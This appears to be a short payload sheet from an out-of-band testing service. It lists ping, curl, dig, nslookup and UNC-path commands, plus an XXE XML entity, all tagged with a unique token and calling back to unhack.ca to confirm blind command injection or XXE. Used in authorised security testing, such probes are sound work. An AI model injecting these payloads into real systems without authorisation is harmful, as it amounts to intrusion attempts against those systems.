$ ping -c1 -p 0035872ee9aaaf42c9acfb7f43b91c00 unhack.ca
 

$ curl http://unhack.ca/p/35872ee9aaaf42c9acfb7f43b91c
 

$ dig 35872ee9aaaf42c9acfb7f43b91c @unhack.ca
 

$ dig 35872ee9aaaf42c9acfb7f43b91c.ns.unhack.ca
 

C:\> nslookup 35872ee9aaaf42c9acfb7f43b91c unhack.ca
 

C:\> type \\unhack.ca\35872ee9aaaf42c9acfb7f43b91c\f.txt
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/35872ee9aaaf42c9acfb7f43b91c">]>
    <foo>&xxe;</foo>